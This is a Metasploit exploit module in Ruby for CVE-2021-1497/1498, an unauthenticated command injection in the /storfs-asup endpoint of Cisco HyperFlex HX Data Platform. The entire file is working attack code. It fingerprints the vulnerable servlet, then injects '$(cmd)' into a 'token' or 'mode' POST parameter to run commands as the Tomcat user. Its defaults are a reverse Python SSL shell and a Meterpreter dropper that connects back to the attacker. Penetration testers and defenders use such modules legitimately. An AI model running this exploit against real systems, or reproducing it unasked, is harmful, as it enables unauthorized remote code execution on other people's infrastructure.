##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Cisco HyperFlex HX Data Platform Command Execution',
'Description' => %q{
This module exploits an unauthenticated command injection in Cisco
HyperFlex HX Data Platform's /storfs-asup endpoint to execute shell
commands as the Tomcat user.
},
'Author' => [
'Nikita Abramov', # Discovery
'Mikhail Klyuchnikov', # Discovery
'wvu' # Analysis and exploit
],
'References' => [
['CVE', '2021-1497'], # HyperFlex HX Data Platform Installer
['CVE', '2021-1498'], # HyperFlex HX Data Platform
['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-hyperflex-rce-TjjNrkpR'],
['URL', 'https://attackerkb.com/assessments/4f532147-b27b-4079-aed1-5cfdc402cf5c'],
['URL', 'https://twitter.com/ptswarm/status/1390300625129201664']
],
'DisclosureDate' => '2021-05-05',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false, # Privesc left as an exercise for the reader
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_python_ssl'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
register_advanced_options([
OptFloat.new('CmdExecTimeout', [true, 'Command execution timeout', 3.5])
])
end
def check
res = send_request_cgi(
'method' => %w[GET POST].sample,
'uri' => normalize_uri(target_uri.path, 'storfs-asup')
)
return CheckCode::Unknown unless res
unless res.code == 200 &&
res.body.include?('Action for the servlet need be specified.')
return CheckCode::Safe
end
CheckCode::Vulnerable('Storfs ASUP servlet detected.')
end
def exploit
print_status("Selected #{payload_instance.refname} (#{target.name})")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end
def execute_command(cmd, _opts = {})
print_status("Executing command: #{cmd}")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'storfs-asup'),
'vars_post' => {
'action' => Faker::Hacker.verb,
%w[token mode].sample => "$(#{cmd})"
}
}, datastore['CmdExecTimeout'])
unless res
print_warning('Command execution timed out')
return
end
unless res.code == 200
fail_with(Failure::PayloadFailed, 'Failed to execute command')
end
print_good('Successfully executed command')
end
end
